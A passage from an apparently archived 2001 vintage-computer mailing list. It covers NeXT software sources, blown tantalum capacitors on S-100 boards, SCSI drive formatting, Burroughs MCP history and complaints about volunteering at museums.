hardware? Most of the GNU stuff compiles under NeXTSTEP as the underlying system is BSD on top of the Mach microkernel. There's a pretty decent archive of old NeXT software around as well. The Peanuts archive is a decent place to start. http://www.peanuts.org/ NetBSD is also in the process of supporting the NeXT black hardware systems with the NetBSD/next68k port. It only boots diskless right now, but there has been some progress on SCSI. http://www.netbsd.org/Ports/next68k/ -brian. From vaxman at qwest.net Mon Jun 4 10:15:29 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:12 2005 Subject: Interesting web page on VAXen Message-ID: I ran across this page whilst surfing... http://cm.bell-labs.com/cm/cs/who/dmr/vax1.html Basically, it's Dennis Ritchies notes from their first meeiting with DEC on the VAX 11/780... Classic quote: They talked some about software. It was rather depressing. Most of it will be emulated. (Presumably in a 2MB machine you will still have to tell the assembler how big a symbol table to use.) The system itself will be new, but unimaginative. They did not seem to understand, for example, why or even how the command interpreter should be a separate process and not in the system, and why commands themselves should be processes. They are also still stuck mostly in assembly language. There are companies that are learning about how to write software, but DEC is evidently not one of them. Guess what OS their talking about :) clint From mtapley at swri.edu Mon Jun 4 10:24:28 2001 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 19:04:12 2005 Subject: SCSI or Voodoo? (also, NeXT hd travails) Message-ID: >From: jpero@sympatico.ca >> From: Geoff Reed >>.... >> you'll need to use FWB or another 3rd party HD toolkit, apple's HD >> formatter won't work with that drive. >> >... >Begin searching for the HD SC 7.3.5 formatter patch info, it will >detail how to manually patch it with free editor also from apple too. >The mod is only a hex and easy to find to mod on. >... >Wizard The URL's I found on http://euronet.nl/users/ernstoud/patch.html were a little out of date - but starting with ftp.apple.com and using "English-NorthAmerican" instead of "US" I got there. There may be other pointers. Have not tried out the patched version yet. I love this list. I actually needed this info today - and here it is! Thanks, Wizard! NeXT problem - got an IBM DPES-31080 off of ebay (mea culpa, perhaps I deserve the consequences). I can hook it up and it is recognized by the NeXT SCSI bus [1] as a "COMPAQPCDPES31080", so it's not totally dead. Unfortunately the first thing I did to it was run sdform. Sdform completed normally, didn't complain. Then tried to run "disk" to change the label and put a boot block in. I can read the label and change what "disk" sees as the label, but when I do that, or anything else, I get a lot of messsages that say sd1: incomplete disk transfer: bytes moved = 0x2000, resid = 0x2000, retry 1 I tried format from the "disk" interactive list. No complaints. Back to write label, or init, or any of the other options - same error message. Gave the drive to the local support desk - they "formatted" it no problems on a WinNT machine. I have an email out to them to ask whether they actually initialized it after that or not. Interestingly, they report the DPES has a different label than what I put on it and what my copy of "disk" still reports for it. Next thing I'll do, barring any better suggestions, is pop it into a Power Mac 8500 in a lab here and play with it using patched HD SC 7.3.5 (see above). Suggestions solicited and welcome. The drive is at home today, will be back in the office with the tools tomorrow. - Mark [1] But not always. It's not recognized, whether its active termination is on or not, if it's the only drive on the SCSI chain. It is recognized in an external case with one other drive and with one internal drive, and it's recognized if it's on the internal bus with the other internal drive. Not if it's internal alone. Have not tried it external alone. From jhellige at earthlink.net Mon Jun 4 11:14:47 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:12 2005 Subject: Blackhole and Black Hardware Message-ID: <01Jun4.121426edt.119041@gateway.mediacen.navy.mil> >I'm seriously considering purchasing a full system from these folks, but >I've never twiddled with NextStep/Openstep before. Is there much software >out there for NeXT hardware? Ron's a good guy. I've dealt with him on a number of occasions and he's pretty knowledgable about the NeXT systems. As for the software, there are a number of CD's, including one called Nebula, that has quite a selection of software for the OS. I believe that Black Hole sells some of them as well. Jeff From epgroot at ucdavis.edu Mon Jun 4 12:34:29 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:12 2005 Subject: Tantalum Popcorn - What to do (Was S-100 Bus Voltages) In-Reply-To: <200106030308.XAA08603@smtp10.atl.mindspring.net> References: <3.0.5.32.20010602162258.007d3d70@yellow.ucdavis.edu> Message-ID: <3.0.5.32.20010604103429.007ece00@yellow.ucdavis.edu> Well, I plugged in the boards and powered up the computer, and promptly powered it down after a few loud pops - D'Oh! Nothing was displayed on my teminal connected to the console serial line. The affected boards are the CPU board and a serial board - some tantalum capacitors blew. I'm assuming they're tantalum caps- they're not electrolytic can-style, or ceramic disc-style, but look like a gob of shiny blue acrylic paint on two leads. The board marks which lead is +. Are these tantalum caps common enough to buy at the local electronics shop? We've got Radio Shack, but I heard they are overpriced. The caps to be replaced were in the uF range. BTW this is a complete system and the cards are arranged (from low slot # to high slot #): CPU, RAM, FD controller, Serial/Parallel, Terminator. Will check with documentation that RAM and ROM banks, and I/O is configured right once I get the boards fixed. Thanks, Edwin At 11:08 PM 6/2/2001 -0400, you wrote: >Yes, I have done that. Another good trick when creating shorts is to >cause a tantalum capacitor to burst into flames. Maybe we should start >a thread on what kind of fire extinguishers people recommend. > >Louis > > From epgroot at ucdavis.edu Mon Jun 4 12:37:52 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:12 2005 Subject: SB-180? In-Reply-To: <008201c0ec6e$28e025f0$72799a8d@ajp166> Message-ID: <3.0.5.32.20010604103752.007da2a0@yellow.ucdavis.edu> At 04:40 PM 6/3/2001 -0400, you wrote: >I have one with the SCSI/com card. That Web site doesn't exist - HTTPd gives me 404 error. Has the site moved? > >There is also Uzi unix for the SB180, on the www.psyber.com/~tcj ^^^^^^^^^^^^^^^^^^^ >site. > >Allison From ethan_dicks at yahoo.com Mon Jun 4 12:48:19 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:12 2005 Subject: Please help me ID cards(32) In-Reply-To: <00b901c0eb89$7d915fa0$95c6d63f@headleys> Message-ID: <20010604174819.51193.qmail@web9504.mail.yahoo.com> --- Headley Sappleton wrote: > 12) SEAGATE TECHNOLOGY. ST02. SL04. BIOS 3.3.2. 5.25" X 4.25". Has external > 25-pin port Old 8-bit SCSI card - supported under Linux since about day 3. > 26) I vaguely remember pulling this one out of an old Compaq laptop. It has > very little ID. It has ISA bus and 5 external ports, which I believe are > 10BASET, an 8-pin mini din, 2 ports that looks like speaker port and one > "yellow" port. ID: CE168X. P500-0145-02R-HN019839 Out of or off the back of? It sounds like the guts to a docking station. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From ard at p850ug1.demon.co.uk Mon Jun 4 12:48:03 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:12 2005 Subject: you vs. museums In-Reply-To: from "Ernest" at Jun 3, 1 11:51:20 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3140 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010604/6ca5b9ac/attachment.ksh From witchy at vorbis.demon.co.uk Mon Jun 4 13:13:50 2001 From: witchy at vorbis.demon.co.uk (Adrian Graham) Date: Sun Feb 27 19:04:12 2005 Subject: RM Nimbus PC1 Message-ID: Hi folks, I remember a discussion on here a few months ago about Intel 80186 machines and one of the better ones was the RM (Research Machines) Nimbus PC1, which was also known for having a PicoNet port as well as a largely unknown 'network' port. I came across 2 of these today in a junk shop that haven't got the 'network' port but they *have* got everything else. Anyone interested in them? One has a keyboard but the other doesn't. Looking at it though I suspect a bog-standard IBM-compatible keyboard will do the trick - I can try it if anyone shows interest. There's pix of a PC1 on the museum site below, just follow the links to the Research Machines page. cheers! adrian/witchy www.binarydinosaurs.co.uk - the Online Computer Museum 0:OK, 0:1 From ard at p850ug1.demon.co.uk Mon Jun 4 13:11:12 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:12 2005 Subject: Tantalum Popcorn - What to do (Was S-100 Bus Voltages) In-Reply-To: <3.0.5.32.20010604103429.007ece00@yellow.ucdavis.edu> from "Edwin P. Groot" at Jun 4, 1 10:34:29 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1203 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010604/38326e7e/attachment.ksh From sieler at allegro.com Mon Jun 4 13:42:17 2001 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 19:04:12 2005 Subject: Unisys "Micro A" In-Reply-To: <00d101c0ec98$f697c6e0$21fe54a6@ibm23xhr06> Message-ID: <3B1B7419.14675.1F3B6208@localhost> Re: > I'd like to see this come up myself. WT(f) is MCP? MCP = Master Control Program It started life on the Burroughs B 5000, and has grown and changed over the years. On the B 6500, in 1970 (when I first saw it), it supported multi processors, multi-programming, hierarchical file systems, virtual memory. It was written in ALGOL (well, ESPOL, which was Burroughs ALGOL with a couple more extensions). Also, circa 1970, on the B 7500, it supported fault tolerance, years before Tandem "invented" it. I remember a demo at U.S. Customs agency in San Diego, where someone yanked a processor board out while the system was up ... the system kept running. (I can't recall if the process that was executing died, but I do remember that everything else stayed up & running). The neatest thing about some models of the 7700 was that if you had a dual CPU and at least two memory modules and at least two disk drives, you could "split" a running system into two completely separate systems, without losing a single process on the "original" system. (The processes and OS would be running on one of the CPUs, and the other CPU would boot up into an idle state.) We used this at night, in 1978, to split off the second CPU so we could have a crash & burn development system for awhile. When we were done, we re-joined the systems (again, preserving all the running processes on the "original" system). The B5000 (circa) 1963 ran something called MCP, but I don't know the relationship between it and the B 5500. The B 5500 was a next generation machine, and ran MCP (written in ALGOL). The B 5500 was followed by the B 5700 (don't know the differences between the 5500 and the 5700). A great paper on the Burroughs line is at: http://members.nbci.com/amayer/papers/B5000.html (hope the cut/paste didn't cause my mailer to go nuts again) Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From donm at cts.com Mon Jun 4 14:05:15 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:12 2005 Subject: 3.5" MFM hard disk In-Reply-To: Message-ID: On Sat, 2 Jun 2001, Jeff Hellige wrote: > >Likely, but you must be sure that it has at least 4 heads and 153 > >cylinders. The cylinder part is no problem - probably nothing available > >today would have less :) Another factor to consider is that the ST-506 > >did not have buffered seek IIRC. That is not likely to be a concern > >either, but if you were going from a modern controller to the 506 it > >might be a problem. > > What I was thinking was that I'd substitute a more readily > handy drive, such as a 225, knowing that it was larger and that most > of it's space would be wasted due to the differences in parameters, > but that there would surely be enough headroom there in the heads and > cylinders that it would hopefully work ok. I remember there being > some tolerance for running MFM drives at settings that didn't match > thier physical layout, as we had to do it on occasion when we had a > drive which didn't fit any of the 'normal' drive types in the > AMI/Phoenix/Award BIOS tables and it was before user-derfinable drive > types. Since the 506 is a full height, this might be a good > candidate to try and use my Tandon TM502 with. I also have a ST225, > which I like more than the Tandon, but I'll likely use it to replace > a faulty drive in a Z-100. > > Jeff Sounds reasonable, Jeff. That way you only 'discard' 5mb instead of 15, and apply the ST-225 to a machine that is more likely to let you use all of it. - don > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From rdd at smart.net Mon Jun 4 14:37:53 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:12 2005 Subject: you vs. museums In-Reply-To: Message-ID: On Mon, 4 Jun 2001, Tony Duell wrote: > > What sort of museum is he talking about here? I have a close friend who > > In my case, a major UK computer museum. I am not going to mention it by > name, but I think everybody in the UK knows which one I mean. If it's the one that I think it is, it's most unfortunate, as it's a fascinating-looking place. Most disappointing. > What did bother me was all the obstacles put in my path. And the fact > that nobody seemed to care about what I was doing. I felt it better in > the end to work on my own systems.... Most definitely. No one should put up with being treated like that, whether paid or unpaid. > Now obviously it's impractical for me to fly across to the States to help > somebody over there who happens to be on this list, Which is why I have > to restrict such help to looking stuff up in my manuals, suggesting > methods of repair, and so on. Perhaps what we need is a large server with a database set up with not only data from this list containing information about all the classic computers that we've discussed, but other information that we have as well. If we had a central place to store all of the repair information, all of the scanned in documentation, photographs and illustrations, all of the shareable software and other data files pertaining to older systems, and any other information about the older systems that we could store in such a system, and had that mirrored in a few places, that would be a great help to people in the future when we're all gone. As it is, there's a huge amount of information scattered all over about all sorts of various older systems, but much of it is data that could easily disappear in an instant without a trace. I'm not suggesting that people don't keep their own archives, however, as keeping them, and passing them on to others, is also a much needed safety net which can protect a huge amount of information. Museums, it seems, are still basically disinterested in such wide-scale preservation projects; hopefully I'm wrong, and some are interested. > It was not impractical for me to go to the museum though, so I was > prepared to do that. But I was not prepared to be ignored, and have life > made more difficult than it should have been It was the museum's loss; I recall you mentioning this at an earlier time, and it was a very unfortunate thing that they treated such a great resource of helpful knowledge (you) in such a manner; they were extremely foolish to turn away such knowlege. Also, as a result of learning how they reacted to an kind offer of help, I decided not to send them a donation that I was planning to send. > [Example : I'll spend a lot of time tracing a logic fault. It's what I > enjoy doing. But if I get halfway through finding a fault, leave the > machine and then come back 2 weeks later I expect to find it in > essentially the same condition. I do not expect to come back, start doing > more tests and discover after an hour that the reason I'm getting silly > results is because somebody has 'borrowed' a fuse from the power supply. > But that is what often happened.] How do they manage to keep the building(s) housing the museum standing? It makes one wonder... Do they borrow useful nails and bolts from elevators, stairwells and floor joists to use elsewhere? -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From allain at panix.com Mon Jun 4 15:00:01 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:12 2005 Subject: you vs. museums References: Message-ID: <006c01c0ed30$f0f86e40$21fe54a6@ibm23xhr06> There was an article about the new director of the Smithsonian in the New York times about a month ago. You gathered from the description that his priorities were, in order: Increase corporate $$ donations, increase museumgoer attendance, decrease costs, and forget research. This tended to make the Dir. rather unpopular with the standing members of the museum staff. P.S. His income: $450K John A. From celigne at tinyworld.co.uk Mon Jun 4 15:07:57 2001 From: celigne at tinyworld.co.uk (Paul Williams) Date: Sun Feb 27 19:04:12 2005 Subject: you vs. museums References: Message-ID: <3B1BEA9D.76816623@tinyworld.co.uk> "R. D. Davis" wrote: > > Perhaps what we need is a large server with a database set up with > not only data from this list containing information about all the > classic computers that we've discussed, but other information that > we have as well. If we had a central place to store all of the > repair information, all of the scanned in documentation, photographs > and illustrations, [etc.] Jay has offered to host sites for purposes such as these on classiccmp.org for free, several times. All it takes is some organisation. Of course, as you mentioned, several of us are already archiving what we can and making the information available. From edick at idcomm.com Mon Jun 4 15:39:42 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:12 2005 Subject: 3.5" MFM hard disk References: Message-ID: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> Saaay ... speaking of Z100 ... I'm just on my way to a place that has a couple of Z100 "data separator" boards with a small aluminum brace attached. Is that something that would be of interest? Dick ----- Original Message ----- From: "Don Maslin" To: Sent: Monday, June 04, 2001 1:05 PM Subject: Re: 3.5" MFM hard disk > > > On Sat, 2 Jun 2001, Jeff Hellige wrote: > > > >Likely, but you must be sure that it has at least 4 heads and 153 > > >cylinders. The cylinder part is no problem - probably nothing available > > >today would have less :) Another factor to consider is that the ST-506 > > >did not have buffered seek IIRC. That is not likely to be a concern > > >either, but if you were going from a modern controller to the 506 it > > >might be a problem. > > > > What I was thinking was that I'd substitute a more readily > > handy drive, such as a 225, knowing that it was larger and that most > > of it's space would be wasted due to the differences in parameters, > > but that there would surely be enough headroom there in the heads and > > cylinders that it would hopefully work ok. I remember there being > > some tolerance for running MFM drives at settings that didn't match > > thier physical layout, as we had to do it on occasion when we had a > > drive which didn't fit any of the 'normal' drive types in the > > AMI/Phoenix/Award BIOS tables and it was before user-derfinable drive > > types. Since the 506 is a full height, this might be a good > > candidate to try and use my Tandon TM502 with. I also have a ST225, > > which I like more than the Tandon, but I'll likely use it to replace > > a faulty drive in a Z-100. > > > > Jeff > > Sounds reasonable, Jeff. That way you only 'discard' 5mb instead of 15, > and apply the ST-225 to a machine that is more likely to let you use all > of it. > - don > > > -- > > Collector of Classic Microcomputers and Video Game Systems: > > Home of the TRS-80 Model 2000 FAQ File > > http://www.geocities.com/siliconvalley/lakes/6757 > > > > > > From foo at siconic.com Mon Jun 4 14:55:57 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:12 2005 Subject: Tantalum Popcorn - What to do (Was S-100 Bus Voltages) In-Reply-To: <3.0.5.32.20010604103429.007ece00@yellow.ucdavis.edu> Message-ID: On Mon, 4 Jun 2001, Edwin P. Groot wrote: > Well, I plugged in the boards and powered up the computer, and > promptly powered it down after a few loud pops - D'Oh! Nothing was > displayed on my teminal connected to the console serial line. The affected > boards are the CPU board and a serial board - some tantalum capacitors > blew. I'm assuming they're tantalum caps- they're not electrolytic > can-style, or ceramic disc-style, but look like a gob of shiny blue acrylic > paint on two leads. The board marks which lead is +. > Are these tantalum caps common enough to buy at the local electronics > shop? We've got Radio Shack, but I heard they are overpriced. The caps to > be replaced were in the uF range. > BTW this is a complete system and the cards are arranged (from low > slot # to high slot #): CPU, RAM, FD controller, Serial/Parallel, > Terminator. Will check with documentation that RAM and ROM banks, and I/O > is configured right once I get the boards fixed. I had this experience before with a Sol-20. Aside from being loud and smelly, the tantalum caps exploding really shouldn't hinder the operation of the system. Tantalum caps on older systems like S-100's that haven't been powered up in some time are prone to exploding. If you have a problem it's most likely related to some other failure. Perhaps you should check to make sure you have matching settings on your serial port and terminal. Also, make sure your cable is the right kind (straight through...NOT a "null-modem" cable). Also, maybe your system is expecting a boot disk to do anything useful. Did you notice if your drives are spinning when you fire it up? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From ethan_dicks at yahoo.com Mon Jun 4 16:07:42 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:12 2005 Subject: Tantalum Popcorn - What to do (Was S-100 Bus Voltages) In-Reply-To: Message-ID: <20010604210742.22763.qmail@web9506.mail.yahoo.com> --- Sellam Ismail wrote: > On Mon, 4 Jun 2001, Edwin P. Groot wrote: > > > Well, I plugged in the boards and powered up the computer, and > > promptly powered it down after a few loud pops - D'Oh! Wahoo! > > ...some tantalum capacitors blew. > > I had this experience before with a Sol-20. Aside from being loud and > smelly, the tantalum caps exploding really shouldn't hinder the operation > of the system. That all depends. I saw a COMBOARD come back from a customer site that had a tantalum cap blow - there was a 5mm ragged hole in the 6-layer board and I was told that the DEC boards on either side were damaged badly enough to need replacement. Glad I wasn't looking inside the BA-11 when it went off! -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From red at bears.org Mon Jun 4 16:21:56 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:04:12 2005 Subject: you vs. museums In-Reply-To: <006c01c0ed30$f0f86e40$21fe54a6@ibm23xhr06> Message-ID: On Mon, 4 Jun 2001, John Allain wrote: > Increase corporate +ACQAJA- donations, ^^^^^^^^ Okay, what the heck does this mean? I keep seeing it used. ok r. From geoffr at zipcon.net Mon Jun 4 16:54:14 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:12 2005 Subject: you vs. museums In-Reply-To: References: <3B130289.C9B5B858@ix.netcom.com> Message-ID: <5.1.0.14.2.20010604145155.033cf510@mail.zipcon.net> I agree, I've voulenteered for museums locally here in the seattle area before and they work you to death and then you get no thanks from the museum. one p[lace I voulenteered at didn't even have a water fountain accessable for those of us slaving for them, they pointed us at their "gift/snack" shop and informed us we'd have to buy it, the free drinks (and all we wanted was water) were for staff only. At 11:51 PM 6/3/01 -0700, you wrote: >What sort of museum is he talking about here? I have a close friend who >works at one of our local Art Museums, and she said that the museum burns >through well meaning volunteer's like light bulbs, and hardly bothers to >even say thank you when the volunteers leave. Being used and abused by a >disinterested museum beauracracy sounds like a hell of a good time to me! >Even so, I would get a lot of personal satisfaction out of helping to keep a >museum's computer collection in good shape, and it's a good cause but I >don't think that I could work for very long under the indifferent, >micro-managing, egocentric museum officals. > >We don't have any computer museums in Seattle, that I'm aware of but there's >no way in hell that I would volunteer to help them unless they asked me to. >I am all in favor of volunteering to help non-profits, in principle but any >museum (type) organization that is in any way, shape, or form connected to >local or federal government agencies -like a city Art or Natural History >museum is NOT the most gratifying or efficient way to do it. It's a well >meaning act but the museum administration doesn't care -there's a million >where you came from, in their opinion. > >If you want to volunteer, and have it really "mean" something, go help at >your local food bank, or soup kitchen. They mean it when they say, "thank >you!" > >Ernest > > >-----Original Message----- >From: owner-classiccmp@classiccmp.org >[mailto:owner-classiccmp@classiccmp.org]On Behalf Of Campbell >Sent: Monday, May 28, 2001 7:00 PM >To: classiccmp@classiccmp.org >Subject: you vs. museums > > >Just a note from a museum person who stumbled upon your discussion from >March '01...too bad you have this antagonistic attitude - you could >probably share resources with a local museum and do a lot of good. They >would love the information you could provide (and maybe do some public >good with?), and they might have resources (including potential access >to grant money, etc.) that you would also enjoy. It doesn't seem like >them offering someone a tax incentive should be such a problem in that >case... > >Best wishes, >Tim From edick at idcomm.com Mon Jun 4 17:28:25 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:13 2005 Subject: Tantalum Popcorn - What to do (Was S-100 Bus Voltages) References: Message-ID: <001101c0ed45$abb70ac0$9cc762d8@idcomm.com> While the generalized observation that when something pops, there's a good reason, in the case of tantalum cap's it's often simply the age of the cap. They don't age gracefully and it's not at all unusual for the only thing wrong with a board that bursts into flame to be the cap's that were engaged in the conflagration. If you replace the tantalum cap's it's likely the problem will be gone. However, if you leave one of the old ones on the board, it will "go" later, for you to clean up later. Not all such aged cap's will catch fire, though the tantalum ones tend to do so. Some will just short, causing your power supply to act funny, since they're quite a large load. That's what makes 'em catch fire when they do. Dick ----- Original Message ----- From: "Sellam Ismail" To: Sent: Monday, June 04, 2001 1:55 PM Subject: Re: Tantalum Popcorn - What to do (Was S-100 Bus Voltages) > On Mon, 4 Jun 2001, Edwin P. Groot wrote: > > > Well, I plugged in the boards and powered up the computer, and > > promptly powered it down after a few loud pops - D'Oh! Nothing was > > displayed on my teminal connected to the console serial line. The affected > > boards are the CPU board and a serial board - some tantalum capacitors > > blew. I'm assuming they're tantalum caps- they're not electrolytic > > can-style, or ceramic disc-style, but look like a gob of shiny blue acrylic > > paint on two leads. The board marks which lead is +. > > Are these tantalum caps common enough to buy at the local electronics > > shop? We've got Radio Shack, but I heard they are overpriced. The caps to > > be replaced were in the uF range. > > BTW this is a complete system and the cards are arranged (from low > > slot # to high slot #): CPU, RAM, FD controller, Serial/Parallel, > > Terminator. Will check with documentation that RAM and ROM banks, and I/O > > is configured right once I get the boards fixed. > > I had this experience before with a Sol-20. Aside from being loud and > smelly, the tantalum caps exploding really shouldn't hinder the operation > of the system. Tantalum caps on older systems like S-100's that haven't > been powered up in some time are prone to exploding. > > If you have a problem it's most likely related to some other failure. > Perhaps you should check to make sure you have matching settings on > your serial port and terminal. Also, make sure your cable is the right > kind (straight through...NOT a "null-modem" cable). > > Also, maybe your system is expecting a boot disk to do anything useful. > Did you notice if your drives are spinning when you fire it up? > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From optimus at canit.se Mon Jun 4 05:47:51 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:13 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <010801c0ec93$2e113080$0200a8c0@marvin> Message-ID: <1262.555T2550T7076631optimus@canit.se> Mark Gregory skrev: >From: "Iggy Drougge" >> >(is that better?) >> Which means that although Marvin should really set a correct character >set, >> what's really at fault (again) is Outlook. No decent mailer would go >about >> changing font sizes because of that. >> >> So in order to sum things up: Marvin, set your charset - OE users, ditch >OE. >Great idea! I can imagine the conversation now ... "Boss, I know that >Outlook Express came free with our desktop O/S, and that 99% of our clients >use it, and that all of the staff are familiar with it, but I really think >we should dump it, because some non-work related messages from text-only >mail programs on 10+ year old UNIX boxen display funny." Mark, go to hell and die. You could instead explain that it's a program which is prone to go haywire and send illegible, heavy messages to people, which in turn is bad PR. >Sigh. Another pointless 5 line sig in a foreign language. Foreign to whom? If you can't be arsed to learn German, that's hardly my fault. Besides, I sometimes may have five-line .sigs, now I have a one-line one, so it eventually sums up within any recommendations. -- En ligne avec Thor 2.6a. The first rule of intelligent tinkering is to save all the parts. From cmcmanis at mcmanis.com Mon Jun 4 17:46:27 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:13 2005 Subject: Wanted: DEC Server 700 Message-ID: <3B1C0FC3.C67A1457@mcmanis.com> Hi everyone, I would like to acquire a DEC Server 700 (8 port version is fine) to use with my VAX VLC cluster project. I've got a DEC Server 300/MC that is a stand in but with the VLCs it doesn't "blend" very well :-). Anyway, I'm willing to pay money for it ($50 - $75), I would even trade a MicroVAX III board set (16MB RAM + KA650 CPU), but they do seem to get run up rather quickly on Ebay for some reason (I guess they work well!) No doubt they will eventually begin falling from the sky but for now, who knows. --Chuck From ajp166 at bellatlantic.net Mon Jun 4 18:14:25 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:13 2005 Subject: SB-180? Message-ID: <004001c0ed4d$1f2a1450$12779a8d@ajp166> Well add that to you 404 list.. It was a live one not too long ago. TCJ apparently evaporated. Allison -----Original Message----- From: Edwin P. Groot To: classiccmp@classiccmp.org Date: Monday, June 04, 2001 2:00 PM Subject: Re: SB-180? >At 04:40 PM 6/3/2001 -0400, you wrote: >>I have one with the SCSI/com card. > > That Web site doesn't exist - HTTPd gives me 404 error. Has the site >moved? >> >>There is also Uzi unix for the SB180, on the www.psyber.com/~tcj > ^^^^^^^^^^^^^^^^^^^ >>site. >> >>Allison > From padf at ihug.co.nz Mon Jun 4 17:50:38 2001 From: padf at ihug.co.nz (Patrick Ford) Date: Sun Feb 27 19:04:13 2005 Subject: SCSI or Voodoo? In-Reply-To: <200106041408.HAA10870@stockholm.ptloma.edu> Message-ID: Gidday Cameron On 05-Jun-01, you wrote: >>>> ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N >>>> Narrow 50-pin >>> It should, but I don't have a lot of confidence in old Seagate >>> drives. >> Hmm, if that's one of the Barracuda drives, I've run one for several >> years without trouble. They do get *very* hot though, so make sure you've >> got a decent cooling system. > Yes, it's a 7200rpm Barracuda, and having had this same exact model, it > runs *very* hot indeed. I have used a couple of these Seagate drives and there is definitely no exaggeration in your assesment of their temperature. They were not originally designed as hard drives, but came from Seagates abortive attempt to enter the home appliance market. It was only after meeting very strong consumer resistance because of their propensity for burnimg food that they were rebadged as HDs. Regards -- *Patrick Ford Auckland, New Zealand* */#icq#/ 51642681* A horse will walk to water, but a pencil must be lead. Support *Open Directory Project* NO banners, NO junk--just information. *ODP *is built by volunteers and owned by the community . -------> http://dmoz.org <-----------Check it out From epgroot at ucdavis.edu Mon Jun 4 18:56:39 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:13 2005 Subject: 3.5" MFM hard disk In-Reply-To: <001301c0ed36$7c2fd3e0$9cc762d8@idcomm.com> References: Message-ID: <3.0.5.32.20010604165639.007d2100@yellow.ucdavis.edu> Dick, I have a couple of Z-100s. What's a data deparator board?? Edwin Davis, CA At 02:39 PM 6/4/2001 -0600, you wrote: >Saaay ... speaking of Z100 ... I'm just on my way to a place that has a couple >of Z100 "data separator" boards with a small aluminum brace attached. Is that >something that would be of interest? > >Dick > From epgroot at ucdavis.edu Mon Jun 4 18:58:24 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:13 2005 Subject: SB-180? In-Reply-To: <004001c0ed4d$1f2a1450$12779a8d@ajp166> Message-ID: <3.0.5.32.20010604165824.007cee70@yellow.ucdavis.edu> Damn! That had some innovatinve CP/M stuff. At 07:14 PM 6/4/2001 -0400, you wrote: >Well add that to you 404 list.. > >It was a live one not too long ago. TCJ apparently evaporated. > >Allison From epgroot at ucdavis.edu Mon Jun 4 19:06:05 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:13 2005 Subject: Tantalum Popcorn - What to do (Was S-100 Bus Voltages) In-Reply-To: References: <3.0.5.32.20010604103429.007ece00@yellow.ucdavis.edu> Message-ID: <3.0.5.32.20010604170605.007d6cb0@yellow.ucdavis.edu> Luckily I had no flames or holey boards! After checking my terminal settings, cabling, etc., should I power up with those burnt caps in place, or should I desolder them and leave their contacts on the boards open? Didn't connect the floppies yet. Just wanted to see if I was going to get messages on the terminal from the ROMs first. Edwin At 12:55 PM 6/4/2001 -0700, you wrote: > >I had this experience before with a Sol-20. Aside from being loud and >smelly, the tantalum caps exploding really shouldn't hinder the operation >of the system. Tantalum caps on older systems like S-100's that haven't >been powered up in some time are prone to exploding. > >If you have a problem it's most likely related to some other failure. >Perhaps you should check to make sure you have matching settings on >your serial port and terminal. Also, make sure your cable is the right >kind (straight through...NOT a "null-modem" cable). > >Also, maybe your system is expecting a boot disk to do anything useful. >Did you notice if your drives are spinning when you fire it up? > >Sellam Ismail Vintage Computer Festival >--------------------------------------------------------------------------- --- >International Man of Intrigue and Danger http://www.vintage.org > > From allain at panix.com Mon Jun 4 19:09:22 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:13 2005 Subject: you vs. museums References: <006c01c0ed30$f0f86e40$21fe54a6@ibm23xhr06> Message-ID: <001b01c0ed53$c66a5620$21fe54a6@ibm23xhr06> Test Only just a short note here saying how much I appreciate Microsoft... ----- Original Message ----- From: John Allain 